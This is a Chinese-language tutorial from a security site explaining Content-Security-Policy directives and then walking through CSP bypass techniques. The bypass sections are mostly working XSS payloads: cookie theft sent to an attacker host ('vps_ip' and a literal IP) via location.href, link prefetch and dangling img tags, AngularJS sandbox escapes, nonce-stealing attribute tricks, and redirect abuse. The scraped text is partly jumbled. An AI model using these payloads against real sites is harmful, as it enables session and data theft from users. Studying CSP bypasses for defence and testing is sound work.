Content-Security-policy: default-src 'self'; script-src 'self' allowed.com; img-src 'self' allowed.com; style-src 'self';
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
script-src:外部脚本
style-src:样式表
img-src:图像
media-src:媒体文件(音频和视频)
font-src:字体文件
object-src:插件(比如 Flash)
child-src:框架
frame-ancestors:嵌入的外部资源(比如
<frame>
、<iframe>
、<embed>
和<applet>
)connect-src:HTTP 连接(通过 XHR、WebSockets、EventSource等)
worker-src:worker脚本
manifest-src:manifest 文件
dedault-src:默认配置
frame-ancestors:限制嵌入框架的网页
base-uri:限制<base#href>
form-action:限制<form#action>
block-all-mixed-content:HTTPS 网页不得加载 HTTP 资源(浏览器已经默认开启)
upgrade-insecure-requests:自动将网页上所有加载外部资源的 HTTP 链接换成 HTTPS 协议
plugin-types:限制可以使用的插件格式
sandbox:浏览器行为的限制,比如不能有弹出窗口等。
Content-Security-Policy-Report-Only: default-src 'self'; ...; report-uri /my_amazing_csp_report_parser;
*:星号表示允许任何URL资源,没有限制;
self:表示仅允许来自同源(相同协议、相同域名、相同端口)的资源被页面加载;
data:仅允许数据模式(如Base64编码的图片)方式加载资源;
none:不允许任何资源被加载;
unsafe-inline:允许使用内联资源,例如内联
<script>
标签,内联事件处理器,内联<style>
标签等,但出于安全考虑,不建议使用;nonce:通过使用一次性加密字符来定义可以执行的内联js脚本,服务端生成一次性加密字符并且只能使用一次;
<img src=image.jpg>
该图片来自https://example.com将被允许载入,因为是同源资源;<script src=script.js>
该js脚本来自https://example.com将被允许载入,因为是同源资源;<script src=https://examples.com/script.js>
,该js脚本将不允许被加载执行,因为来自https://examples.com, 非同源;
script-src 'unsafe-inline';
这条规则也可以用该绕过方法<?php
if (!isset($_COOKIE['a'])) {
setcookie('a',md5(rand(0,1000)));
}
header("Content-Security-Policy: default-src 'self';");
?>
<!DOCTYPE html>
<html>
<head>
<title>CSP Test</title>
</head>
<body>
<h2>CSP-safe</h2>
<?php
if (isset($_GET['a'])) {
echo "Your GET content".@$_GET['a'];
}//
?>
?a=<script>location.href="http://127.0.0.1"+document.cookie;</script>
location.href = "vps_ip:xxxx?"+document.cookie
script-src 'unsafe-inline'
<!-- firefox -->
<link rel="dns-prefetch" href="//${cookie}.vps_ip">
<!-- chrome -->
<link rel="prefetch" href="//vps_ip?${cookie}">
var link = document.createElement("link");
link.setAttribute("rel", "prefetch");
link.setAttribute("href", "//vps_ip/?" + document.cookie);
document.head.appendChild(link);
http://127.0.0.1/csp.php?xss==<meta http-equiv="refresh" content="1;url=http://150.158.188.194:7890/" >
<meta http-equiv="cache-control" content="public">
<meta http-equiv="Set-Cookie" Content="cookievalue=xxx;expires=Wednesday,21-Oct-98 16:14:21 GMT; path=/">
meta
这一被很多人忽略的标签,其实可以做到的东西也不少,后面有机会会进一步分析在CSP中,通过配置sandbox和child-src可以设置iframe的有效地址,它限制适iframe的行为,包括阻止弹出窗口,防止插件和脚本的执行,而且可以执行一个同源策略。
iframe
用js操作A页面的DOM,也就是说A页面的CSP防护完全失效<!-- A页面 -->
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">
<h1 id="flag">flag{0xffff}</h1>
<!-- B页面 -->
<!-- 下面模拟XSS -->
<body>
<script>
var iframe = document.createElement('iframe');
iframe.src="http://127.0.0.1/a.php";
document.body.appendChild(iframe);
setTimeout(()=>alert(iframe.contentWindow.document.getElementById('flag').innerHTML),1000);
</script>
</body>
在Chrome下,iframe标签支持csp属性,这有时候可以用来绕过一些防御,例如"http://xxx"页面有个js库会过滤XSS向量,我们就可以使用csp属性来禁掉这个js库。 <iframe csp="script-src 'unsafe-inline'" src="http://xxx"></iframe>
content-security-policy: script-src 'self' vimeo.com https://gist.github.com www.slideshare.net https://query.yahooapis.com 'unsafe-eval' https://cdnjs.cloudflare.com https://cdn.mathjax.org https://www.google.com https://apis.google.com https://docs.google.com https://www.dropbox.com https://*.disqus.com https://*.disquscdn.com https://www.google-analytics.com https://stats.g.doubleclick.net https://secure.quantserve.com https://rules.quantcount.com https://pixel.quantserve.com https://js.driftt.com https://embed.small.chat https://static.small.chat https://www.googletagmanager.com https://cdn.ravenjs.com 'nonce-38703614-d766-4dff-954b-57372aafe8bd' 'sha256-EtvSSxRwce5cLeFBZbvZvDrTiRoyoXbWWwvEVciM5Ag=' 'sha256-NZb7w9GYJNUrMEidK01d3/DEtYztrtnXC/dQw7agdY4=' 'sha256-L0TsyAQLAc0koby5DCbFAwFfRs9ZxesA+4xg0QDSrdI='; img-src * data:; style-src 'self' 'unsafe-inline' https://assets-cdn.github.com https://cdnjs.cloudflare.com https://fonts.googleapis.com https://www.google.com https://fonts.gstatic.com https://*.disquscdn.com https://static.small.chat; font-src 'self' data: https://public.slidesharecdn.com https://cdnjs.cloudflare.com https://fonts.gstatic.com https://*.disquscdn.com; object-src *; media-src *; frame-src *; child-src *; connect-src *; base-uri 'none'; form-action 'self' https://www.paypal.com; upgrade-insecure-requests
unsafe-eval
这个关键字,可以想到Breaking XSS mitigations via Script Gadgets手法,但我们继续往下看就会发现,其实没这么复杂,因为该CSP政策还允许了https://cdnjs.cloudflare.com/
这个js hosting服务,这个提供了很多第三方的函数库以供引入,这样我们就可以直接借助AngularJS 函数库以及Client-Side Template Injection里面成熟的沙盒逃逸技术绕过<!-- foo="bar--><script>alert(1)</script>>" -->
这一payload,用-->
来闭合前面的注释,来让后面内容完全可控<!-- foo="-->
<script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js>
</script>
<div ng-app>
{{constructor.constructor('alert(document.cookie)')()}}
</div>
//sssss" -->
<div data-role=popup id='<script>alert(1)</script>'></div>
<amp-pixel src="http://your domain/?cid=CLIENT_ID(FLAG)"></amp-pixel>
www.google-analytics.com
而www.google.analytics.com中提供了自定义javascript的功能(google会封装自定义的js,所以还需要unsafe-eval),于是可以绕过CSP<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'unsafe-eval' https://www.google-analytics.com">
<script src="https://www.google-analytics.com/gtm/js?id=GTM-PJF5W64"></script>
<?php header("X-XSS-Protection:0");?>
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-xxxxx'">
<?php echo $_GET['xss']?>
<script nonce='xxxxx'>
//do some thing
</script>
http://127.0.0.1/2.php?xss=<script src=data:text/plain,alert(1)
,我们可以发现<script
就会被变成一个属性,值为空,之后的nonce='xxxxx'
script-src
<!-- 3.php -->
<h1 a="123" b="456" a="789" a="abc">123</h1>
http://127.0.0.1/2.php?xss=123<script src="data:text/plain,alert(1)" a=123 a=
先新建一个a属性,然后再新建第二个a属性,这样我们就将第二个<script赋给了第二个a属性,浏览器在解析的时候直接忽略了第二个属性及其后面的值,这样exp就能成功在chrome浏览器上执行<meta http-equiv="Content-Security-Policy" content="default-src 'self';script-src 'self'; img-src *;">
<?php echo $_GET['xss']?>
<h1>flag{0xffff}</h1>
<h2 id="id">3</h2>
img
用了*
,有些网站会用很多外链图片,所以这个情况并不少见,虽然我们可以新建任意标签,但是由于CSP我们的JS并不能执行(没有unsafe-inline
),于是我们可以用不完整的<img
标签来将数据带出http://127.0.0.1/csp.php?xss=<img src="//vps_ip?a=
id
“前的引号出现之前,所有内容都会被当作src的值发送到我们的vps上<!-- csp.php -->
<?php
header("Content-Security-Policy: default-src 'self';script-src http://127.0.0.1/a/");
?>
<html>
<head>
</head>
<body>
csp header test
</body>
</html>
<!-- redirect.php -->
<?php
header("Location: " . $_GET[url]);
?>
<!-- test.php -->
<!DOCTYPE html>
<html>
<head>
<title>1</title>
</head>
<body>
123
</body>
</html>
/a/
目录,而我们的目标脚本在/b/
目录下则如果这时候请求redirect
页面去访问/b/
下的脚本是可以通过csp的检查的http://127.0.0.1/a/redirect.php?url=/b/test.php
a.com
的302跳转去加载b.com
下的脚本是不可以script-src example.com/scripts/ google.com/recaptcha/
,google.com/script/*
下有个evil.js
,然后刚好站内有个重定向,漏洞条件就已经成立了。本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/158928.html